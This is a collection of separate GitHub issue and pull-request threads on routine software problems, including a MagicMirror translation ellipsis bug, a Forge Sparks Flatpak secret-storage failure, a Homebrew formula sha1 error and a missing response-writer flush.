[ ] I have signed my commit (see Contributing Docs).

Testing

[ ] I leveraged continuous integration testing

[ ] by depending on existing unit tests or end-to-end tests.
[ ] by adding new unit tests or end-to-end tests.

[ ] I manually tested the following steps:

[x] locally.
[ ] as a canary deployment to a cluster.

@ptnapoleon @Devatoria , working with @nikos912000 on the implementing status as a subresource while preserving the UserInfo and it would be good to get some feedback:
The UserInfo is stored as an annotation, which poses a couple of questions:

it's unmarshalled upon each getmetricsTags call (validateCreate, validateUpdate, validateDelete) which could potentially be an expensive operation.  Would you see this as an issue?

UserInfo is used in slack integration which would again require an unmarshal operation to extract the UserInfo again.  We could unmarshal the UserInfo back into the DisruptionStatus to make it easily available again?

@expFlower This certainly looks great to me, and it seems to be working when I test it locally. Would you be alright if I pushed a copy to my own branch, so that I can test it internally? Thanks!

it's unmarshalled upon each getmetricsTags call (validateCreate, validateUpdate, validateDelete) which could potentially be an expensive operation. Would you see this as an issue?

UserInfo is used in slack integration which would again require an unmarshal operation to extract the UserInfo again. We could unmarshal the UserInfo back into the DisruptionStatus to make it easily available again?

Personally, I am not concerned about the cost of those operations

@expFlower This certainly looks great to me, and it seems to be working when I test it locally. Would you be alright if I pushed a copy to my own branch, so that I can test it internally? Thanks!

Absolutely, please do.
There's the slack.go implementation to work out and depending how that's done the DisruptionStatus / CRD would need to be cleaned up / updated.

Closing this PR, implementation completed through #520


Fixed missing flush for writer

Description

Turns out that my fake controller in tests behaved too correctly. It always closed (and implicitly flushed) the writer it was using. But that is in fact not done by everyone out there in the wild. Ultimately the flushBuffer method is invoked on the response, but that wasn't intercepted and propagated properly. The noticable effect was that users which use getWriter() without an explicit close or flush would not see the body getting logged and even worse wouldn't see the body on the wire either.
Motivation and Context

Fixes #603
Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[x] I have added tests to cover my changes.

:+1:


Easiest way to create a player app?

My question is what the simplest way is to load in a libspotify key and just play some music on my computer.
Thanks in advance!

I don't know what you mean by libspotify key, but this application supports authentication via username and password or via Zeroconf. You can either compile from source with mvn package -pl common,core or use one of the available releases.

Closing for inactivity.


PFUP-6 - Investigate of a good way to extract or add a new event.

Create a new interface that is part of the system
Google Forms Integration
Or any third party shit

Considerations to Consider:

Huge Traffic Load
Ease of Development

Discuss findings and proposed method on March 19 either through chat or call.

Conclusion: For now assume that the EVENT and FORUM sections of the application is part of the system.
We might need to Test during Beta for traffic issues of the application.
Maybe by then, we will decide to rechange the platforms and adjust.


Translate error?

Hello and thank you for opening an issue.
Platform: Raspberry Pi 4B, Raspbian GNU/Linux 10 (buster)
Node Version:  v16.14.2
MagicMirror² Version:  2.19.0
Description: Translation error using "this.translate" - the word "LOADING" results in "Loading …"
Steps to Reproduce/** Actual results**:
Using this code snippet to generate output:
this.stats.cpuTemp = this.translate('LOADING').toLowerCase(); always results in "loading …" or
this.stats.cpuTemp = this.translate('LOADING'); always results in "Loading …"
Expected Results: Describe what you expected to see.
this.stats.cpuTemp = this.translate('LOADING').toLowerCase(); resulting  in "loading" or
this.stats.cpuTemp = this.translate('LOADING'); always results in "LOADING"
Note: This only occurs on the ALL CAPS version of the word. Otherwise, it works as expected.
Configuration: What does the used config.js file look like? Don't forget to remove any sensitive information!
N/A - not a configuration error.

AFAIK this is expected behaviour. The "LOADING" string is used in the default modules for displaying "Loading ..." as long as they are loading. You find the english translation in translations/en.json in this repository: "LOADING": "Loading …", and this is translated into other languages with the three dots too.

Sorry, the bug system didn't translate my text correctly, and translated the & hellip as Magic Mirror is supposed to do it.
to clarify, MM is showing the & code, not the "..."

o.k., can reproduce this. The translate function seems to work only in the getDom function or in the njk templates if the sting contains e.g. &hellip.

@BKeyport @khassel you have to use the safe filter from nunjuck to display it.
E.g. https://github.com/fewieden/MMM-Fuel/blob/232333659c4d7ed7233805505fd127edfe20713b/templates/MMM-Fuel.njk#L8

This really has turned into an improper translate issue then. "LOADING" shouldn't include the ellipsis, nor should it be changing case unless specifically specified.

I think the decision to translate "LOADING" to "Loading ..." was made long ago in this project for a specific use case (display this message when loading a module).
We could change this when we remove all the &hellip from the translation files and append this in the default modules. But it would break other modules using this which are expecting the "...".
So you have to convince @MichMich to change the current behaviour ...

I've never seen this used in any module except with the one that I have with the error. (I've changed that, too, so it's eliminated)
The difference would be a minor one at best, and honestly, wouldn't be noticed by most.
So, how about it, @MichMich? Should we change this? I'm a solid vote for yes.

I'm not against small changes like these, but in this case the issue is more that punctuation marks are language specific. When we put the ellipsis in the template, this creates a wrong output for some languages. Isn't @fewieden's suggestion the solution to your problem?

My suggestion would be to drop the … from the translation.

That would make more sense, but does change the actual output and how it looks. I think it's good to put some extra thought in this. @khassel @fewieden Any thoughts?

@MichMich as already mentioned before moving the ellipsis outside of the translation would be very bad.
Context: At work, I also have to do translations of the system, and when I notice someone splitting translations into two labels or appending a prefix/suffix in the code I have to reject the PR because it simply doesn't work across multiple languages/locales/dir the same way.
Having the ellipsis or not, in the end, is a UI/UX choice. If I recall correctly it pretty much has been there forever but that doesn't mean it couldn't be changed.
Looking at the code for the translate filter it actually seems that we try to automatically apply the safe filter of some sorts. That I was using successfully in the template.
this._nunjucksEnvironment.addFilter("translate", (str, variables) => {
    return nunjucks.runtime.markSafe(this.translate(str, variables));
});

I tried adding some logs there
if (str === 'LOADING') {
    console.log('raw', this.translate(str, variables));
    console.log('markSafe', nunjucks.runtime.markSafe(this.translate(str, variables)).toString());
    console.log('saveFilter', this._nunjucksEnvironment.filters.safe(this.translate(str, variables)).toString());
}

which produces the output
raw Loading … module.js:177
markSafe Loading … module.js:178
saveFilter Loading … module.js:179

So our current attempt to mark it as safe in the translation filter directly doesn't work. It is the same as doing
this._nunjucksEnvironment.addFilter("translate", (str, variables) => {
    return this.translate(str, variables);
});

AFAIS the change to use return nunjucks.runtime.markSafe was introduced with this PR for not needing safe in the templates:

with return nunjucks.runtime.markSafe(this.translate(str, variables)); and {{ "LOADING" | translate }} result in mm website is Loading ...
with return this.translate(str, variables); and {{ "LOADING" | translate }} result in mm website is Loading …

Is this still a problem with latest release v2.22.0?
All &hellip were replaced with ... with this PR

It appears that would eliminate this. If that's the case, this could be closed as complete. I stopped using the module that had the problem, so, I'm not testing anymore.

Thanks for the feedback. So I will close this, if anyone sees the need to open it again please comment below.


Cannot add GitHub and Codeberg profile

When I try to add an GitHub or Codeberg account Forge Sparks sort of times out with an unexpected error. As flatpak run com.mardojai.ForgeSparks directly detaches after launch I can't provide any error messages.

I also can't seem to connect GitHub and it returns the following log when running run com.mardojai.ForgeSparks
(com.mardojai.ForgeSparks:2): Gtk-CRITICAL **: 07:05:18.884: gtk_accessible_text_get_contents: assertion 'end >= start' failed
com.mardojai.ForgeSparks-Message: 07:05:25.908: https://api.github.com/user response resulted in 200
com.mardojai.ForgeSparks-Message: 07:05:26.163: Gio.DBusError: org.freedesktop.DBus.Error.ServiceUnknown
_promisify/proto[asyncFunc]/</<@resource:///org/gnome/gjs/modules/core/overrides/Gio.js:454:44
main@resource:///com/mardojai/ForgeSparks/main.js:28:24
run@resource:///org/gnome/gjs/modules/script/package.js:207:19
@file:///app/bin/forge-sparks:28:43
@file:///app/bin/forge-sparks:34:6
### Promise created here: ###
saveAccount@resource:///com/mardojai/ForgeSparks/model/accountsManager.js:147:42
_addAccount@resource:///com/mardojai/ForgeSparks/widgets/accountDialog.js:315:32
async*_onSave@resource:///com/mardojai/ForgeSparks/widgets/accountDialog.js:290:18
main@resource:///com/mardojai/ForgeSparks/main.js:28:24
run@resource:///org/gnome/gjs/modules/script/package.js:207:19
@file:///app/bin/forge-sparks:28:43
@file:///app/bin/forge-sparks:34:6

@rukshn seems to fail in the secret saving process. Are you using the Flatpak? If not, do you have libsecret installed?

@rafaelmardojai I am using Flatpak. And seems I have libsecret installed when I check with Yast

@rukshn Just to be sure, do you have xdg-desktop-portal-gnome installed?

@rafaelmardojai i did not had it installed, but after installing through Yast I still get it, do I have to install it though flatpak?

@rafaelmardojai yes this seems to work, but i think it would be better if this can be run within flatpak

@rukshn right, but now we know the problem is about libsecret having problems when sandboxed.
And this seems to only happen in some setups, since I can't reproduce from Fedora 39.

The actual problem is the one reported on #19, so closing this.


[WIP]Fix k8s cluster network connection issues.

Currently, web portal (as well as rest server sometimes) cannot be connected in Jenkins test of cluster mode, Connection reset by peer. raised. However, when web portal pings outside once (whatever before or after server is started), it could be connected normally. This PR tries to find the cause of this wired behavior.

Must ping outside, <IP_ADDRESS> / <IP_ADDRESS>(Docker's DNS) / container IP not works.

Coverage decreased (-22.5%) to 63.208% when pulling 740ad8d394f39b599f985bed907f9ca4e7e722ab on qixcheng/fix-k8s-cluster-network into 52c9c5a42bf69496ccb91e111d1c70e77f2dfff8 on master.

Added a connection check to REST server before server start, which makes the web portal "ping outside", pass the cluster test, and not looks like a workaround.

Disappeared after reboot the node.


Couldn't install using Homebrew?

Ran brew tab as introduced in README, on MacOS High Sierra.
And I've got:
$ brew tap lqez/npk

Updating Homebrew...
==> Auto-updated Homebrew!
Updated 3 taps (homebrew/cask-versions, homebrew/core and homebrew/cask).
==> New Formulae
i386-elf-gdb                             opa                                      pict                                     up                                       websocat
==> Updated Formulae
gradle ✔            checkstyle          ckan                easyengine          git-quick-stats     kobalt              lighttpd            mapnik              platformio          stockfish
==> Renamed Formulae
hh -> hstr

==> Tapping lqez/npk
Cloning into '/usr/local/Homebrew/Library/Taps/lqez/homebrew-npk'...
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 4 (delta 0), reused 3 (delta 0), pack-reused 0
Unpacking objects: 100% (4/4), done.
Error: Invalid formula: /usr/local/Homebrew/Library/Taps/lqez/homebrew-npk/npk.rb
npk: undefined method `sha1' for Formulary::FormulaNamespacef7d60605f28da6be7ff33b79bdbc821d::Npk:Class
Error: Cannot tap lqez/npk: invalid syntax in tap!

$ brew --version

Homebrew 1.8.4-9-g30c90dc
Homebrew/homebrew-core (git revision c1ab; last commit 2018-11-30)
Homebrew/homebrew-cask (git revision deb6a; last commit 2018-11-30)

Looks like it need to update the formula

After you release a newer version of npk with fix #12 😉

@cometkim Thanks! I just changed deprecated sha1 with sha256.
https://github.com/lqez/homebrew-npk/commit/d67dded38373d4865aa4c9a95f07926faae7af33

Great! Successfully installed using Homebrew now
Have a nice weekend :)


Update account contracts to specify a note tagging scheme

For the time being this can probably just mean passing the address of the Note Tagging contract to a user's account contract.

the note discovery phase. phase 1.